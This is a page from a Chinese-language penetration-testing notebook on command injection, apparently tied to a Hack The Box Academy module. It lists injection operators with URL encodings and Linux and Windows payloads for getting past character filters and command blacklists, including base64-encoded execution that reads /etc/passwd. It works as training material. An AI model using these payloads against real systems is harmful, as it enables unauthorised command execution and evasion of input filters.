0xdfxyz
  • Penetration Testing Process
    • README.md
    • Whois
  • Nikto
  • Search Engine Discovery
  • FinalRecon
  • Nessus
  • 0_新手上路
    • 0_新手上路
  • 1_訊息收集
    • 服務枚舉
      • Page 6
      • Nmap
      • DNS
    • 應用枚舉
      • Page 6
    • A D枚舉
      • Page 6
    • web枚舉
      • Page 6
      • Web Fuzzing
      • Subdomain
  • 2_漏洞前準備
    • 反彈 Shell
    • 工具彙總
    • 字典生成
  • 3_漏洞利用
    • 應用漏洞利用
    • AD 攻擊
    • 二進位漏洞利用
    • Web漏洞利用
      • XSS
      • IDOR
      • Webshel​​l
      • File uploads
      • SSTI
      • LFI
      • SQL injection
      • XXE
      • HTTP Verb Tampering
      • Command Injection
    • 服務漏洞利用
      • CMS
        • Wordpress
        • Joolmla
        • Drupal
      • Servlet 容器/軟體開發
        • Jenkins
        • Tomcat
      • 基礎設施/網路監控工具
        • Splunk
        • PRTG Network Monitor
      • 客戶服務管理與配置管理
        • osTicket
        • Gitlab
      • 通用網關介面
        • 攻擊通用網關介面 (CGI) 應用程式 - Shellshock
      • 其他應用
        • ColdFusion
        • IIS Tilde
        • LDAP
      • 常見應用程式
        • Thick client(也稱為rich客戶端或fat客戶端
        • Web 批量分配漏洞 ( Ruby on Rails)
        • 攻擊連接到服務的應用程式(SSH)
  • 4_滲透
    • Linux 權限提升
    • Windows 權限提升
    • Windows + Linux 工具
  • 5_橫向移動
    • 工具
    • 跳板 Pivoting
    • AD 橫向移動
    • Linux 橫向移動
    • Windows 橫向移動
  • 6_NetExec
    • 常見模組
    • 命令執行
    • 漏洞掃描模組
    • 模組使用
    • 憑證轉儲
    • Kerberos 認證
    • LDAP RDP 枚舉
    • SMB 枚舉
由 GitBook 提供支持
在本页
  • Linux
  • Filtered Character Bypass
  • Blacklisted Command Bypass
  • Windows
  • Filtered Character Bypass
  • Blacklisted Command Bypass
  • 4.Skills Assessment

这有帮助吗?

  1. 3_漏洞利用
  2. Web漏洞利用

Command Injection

上一页HTTP Verb Tampering下一页服務漏洞利用

最后更新于2个月前

这有帮助吗?

1

發現點

Host Checker實用程序

2

測試Payload

ping -c 1 127.0.0.1; whoami
3

bypass技巧

注入操作符

注塑件

URL 編碼字符

執行的命令

分號

;

%3b

兩個都

新線

%0a

兩個都

背景

& &

%26

兩者(第二個輸出通常首先顯示)

管道

|

%7c

兩者(僅顯示第二個輸出)

和

&& &&

%26%26

兩者(僅當第一個成功時)

或者

||

%7c%7c

第二(只當第一失敗時)

子殼

``

%60%60

兩者(僅限 Linux) 兩名用戶(僅限 Linux)

子殼

$()

%24%28%29

兩者(僅限 Linux) 兩名用戶(僅限 Linux)

4

濫用

Linux

Filtered Character Bypass

Code
Description

printenv

Can be used to view all environment variables

Spaces

%09

Using tabs instead of spaces

${IFS}

Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. $())

{ls,-la}

Commas will be replaced with spaces

Other Characters

${PATH:0:1}

Will be replaced with /

${LS_COLORS:10:1}

Will be replaced with ;

$(tr '!-}' '"-~'<<<[)

Shift character by one ([ -> \)


Blacklisted Command Bypass

Code
Description

Character Insertion

' or "

Total must be even

$@ or \

Linux only

Case Manipulation

$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

Execute command regardless of cases

$(a="WhOaMi";printf %s "${a,,}")

Another variation of the technique

Reversed Commands

echo 'whoami' | rev

Reverse a string

$(rev<<<'imaohw')

Execute reversed command

Encoded Commands

echo -n 'cat /etc/passwd | grep 33' | base64

Encode a string with base64

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Execute b64 encoded string


Windows

Filtered Character Bypass

Code
Description

Get-ChildItem Env:

Can be used to view all environment variables - (PowerShell)

Spaces

%09

Using tabs instead of spaces

%PROGRAMFILES:~10,-5%

Will be replaced with a space - (CMD)

$env:PROGRAMFILES[10]

Will be replaced with a space - (PowerShell)

Other Characters

%HOMEPATH:~0,-17%

Will be replaced with \ - (CMD)

$env:HOMEPATH[0]

Will be replaced with \ - (PowerShell)


Blacklisted Command Bypass

Code
Description

Character Insertion

' or "

Total must be even

^

Windows only (CMD)

Case Manipulation

WhoAmi

Simply send the character with odd cases

Reversed Commands

"whoami"[-1..-20] -join ''

Reverse a string

iex "$('imaohw'[-1..-20] -join '')"

Execute reversed command

Encoded Commands

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

Encode a string with base64

iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

Execute b64 encoded string

4.Skills Assessment

https://academy.hackthebox.com/module/109/section/1042